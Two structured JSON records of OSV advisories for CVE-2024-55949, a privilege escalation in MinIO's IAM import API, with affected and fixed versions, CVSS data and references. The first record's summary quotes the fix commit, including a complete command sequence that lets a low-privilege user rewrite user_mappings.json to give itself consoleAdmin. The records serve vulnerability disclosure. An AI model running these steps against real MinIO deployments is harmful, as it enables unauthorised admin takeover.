MinIO vulnerable to privilege escalation in IAM import API

{
  "id": "b5272f93dc4b27639bfd3a1df9b544b90100594d5eec5ac70bdbaf6eb0a731e9",
  "url": "https://osv.dev/vulnerability/GHSA-cwq8-g58r-32hg",
  "method": "structured",
  "payload": {
    "kind": "advisory",
    "title": "MinIO vulnerable to privilege escalation in IAM import API",
    "summary": "### Impact Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f ### Patches ``` commit f246c9053f9603e610d98439799bdd2a6b293427 Author: Aditya Manthramurthy Date: Wed Dec 11 18:09:40 2024 -0800 fix: Privilege escalation in IAM import API (#20756) This API had missing permissions checking, allowing a user to change their policy mapping by: 1. Craft iam-info.zip file: Update own user permission in user_mappings.json 2. Upload it via `mc admin cluster iam import nobody iam-info.zip` Here `nobody` can be a user with pretty much any kind of permission (but not anonymous) and this ends up working. Some more detailed steps - start from a fresh setup: ``` ./minio server /tmp/d{1...4} & mc alias set myminio http://localhost:9000 minioadmin minioadmin mc admin user add myminio nobody nobody123 mc admin policy attach myminio readwrite nobody nobody123 mc alias set nobody http://localhost:9000 nobody nobody123 mc admin cluster iam export myminio mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x cd /tmp/x unzip myminio-iam-info.zip echo '{\"nobody\":{\"version\":1,\"policy\":\"consoleAdmin\",\"updatedAt\":\"2024-08-13T19:47:10.1Z\"}}' > \\ iam-assets/user_mappings.json zip -r myminio-iam-info-updated.zip iam-assets/ mc admin cluster iam import nobody ./myminio-iam-info-updated.zip mc admin service restart nobody ``` ``` ### Workarounds There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinI",
    "evidence": "osv:GHSA-cwq8-g58r-32hg",
    "products": [
      {
        "name": {
          "value": "github.com/minio/minio",
          "evidence": "/affected/0/package/name"
        },
        "prerequisites": [],
        "fixed_versions": [
          {
            "value": "0.0.0-20241213221912-68b004a48f41",
            "evidence": "/affected/0/ranges"
          }
        ],
        "affected_versions": []
      }
    ],
    "severity": "high",
    "structured": {
      "id": "GHSA-cwq8-g58r-32hg",
      "aliases": [
        "CVE-2024-55949",
        "GHSA-cwq8-g58r-32hg",
        "GO-2024-3336"
      ],
      "metrics": [
        {
          "type": "CVSS_V4",
          "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
        }
      ],
      "affected": [
        {
          "ranges": [
            {
              "type": "SEMVER",
              "events": [
                {
                  "introduced": "0.0.0-20220623162515-580d9db85e04"
                },
                {
                  "fixed": "0.0.0-20241213221912-68b004a48f41"
                }
              ]
            }
          ],
          "package": {
            "name": "github.com/minio/minio",
            "purl": "pkg:golang/github.com/minio/minio",
            "ecosystem": "Go"
          },
          "database_specific": {
            "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-cwq8-g58r-32hg/GHSA-cwq8-g58r-32hg.json"
          }
        }
      ],
      "modified": "2026-10-08T08:11:01.992849791Z",
      "provider": "osv",
      "references": [
        "https://github.com/minio/minio/security/advisories/GHSA-cwq8-g58r-32hg",
        "https://nvd.nist.gov/vuln/detail/CVE-2024-55949",
        "https://github.com/minio/minio/pull/20756",
        "https://github.com/minio/minio/commit/580d9db85e04f1b63cc2909af50f0ed08afa965f",
        "https://github.com/minio/minio/commit/f246c9053f9603e610d98439799bdd2a6b293427",
        "https://github.com/minio/minio"
      ],
      "provider_metadata": {
        "cwe_ids": [
          "CWE-269"
        ],
        "severity": "HIGH",
        "github_reviewed": true,
        "nvd_published_at": "2024-12-16T20:15:13Z",
        "github_reviewed_at": "2024-12-16T17:27:53Z"
      }
    },
    "related_cves": [
      {
        "value": "CVE-2024-55949",
        "evidence": "/aliases"
      }
    ],
    "security_relevant": true,
    "severity_evidence": "/database_specific/severity"
  },
  "source_id": "core-osv",
  "document_id": 98761,
  "published_at": "2024-12-16T17:27:53+00:00"
}

{
  "id": "18d754c2504fab429bfaba925b628b491ad41d8b0b435b254160cbb39680a5c2",
  "url": "https://osv.dev/vulnerability/GO-2024-3336",
  "method": "structured",
  "payload": {
    "kind": "advisory",
    "title": "MinIO vulnerable to privilege escalation in IAM import API in github.com/minio/minio",
    "summary": "MinIO vulnerable to privilege escalation in IAM import API in github.com/minio/minio",
    "evidence": "osv:GO-2024-3336",
    "products": [
      {
        "name": {
          "value": "github.com/minio/minio",
          "evidence": "/affected/0/package/name"
        },
        "prerequisites": [],
        "fixed_versions": [
          {
            "value": "0.0.0-20241213221912-68b004a48f41",
            "evidence": "/affected/0/ranges"
          }
        ],
        "affected_versions": []
      }
    ],
    "severity": "unknown",
    "structured": {
      "id": "GO-2024-3336",
      "aliases": [
        "CVE-2024-55949",
        "GHSA-cwq8-g58r-32hg",
        "GO-2024-3336"
      ],
      "affected": [
        {
          "ranges": [
            {
              "type": "SEMVER",
              "events": [
                {
                  "introduced": "0.0.0-20220623162515-580d9db85e04"
                },
                {
                  "fixed": "0.0.0-20241213221912-68b004a48f41"
                }
              ]
            }
          ],
          "package": {
            "name": "github.com/minio/minio",
            "purl": "pkg:golang/github.com/minio/minio",
            "ecosystem": "Go"
          },
          "database_specific": {
            "source": "https://vuln.go.dev/ID/GO-2024-3336.json"
          },
          "ecosystem_specific": {}
        }
      ],
      "modified": "2026-10-08T08:11:01.992849791Z",
      "provider": "osv",
      "references": [
        "https://github.com/minio/minio/security/advisories/GHSA-cwq8-g58r-32hg",
        "https://nvd.nist.gov/vuln/detail/CVE-2024-55949",
        "https://github.com/minio/minio/commit/580d9db85e04f1b63cc2909af50f0ed08afa965f",
        "https://github.com/minio/minio/commit/f246c9053f9603e610d98439799bdd2a6b293427",
        "https://github.com/minio/minio/pull/20756"
      ],
      "provider_metadata": {
        "url": "https://pkg.go.dev/vuln/GO-2024-3336",
        "review_status": "UNREVIEWED"
      }
    },
    "related_cves": [
      {
        "value": "CVE-2024-55949",
        "evidence": "/aliases"
      }
    ],
    "security_relevant": true,
    "severity_evidence": null
  },
  "source_id": "core-osv",
  "document_id": 98762,
  "published_at": "2024-12-18T16:35:54+00:00"
}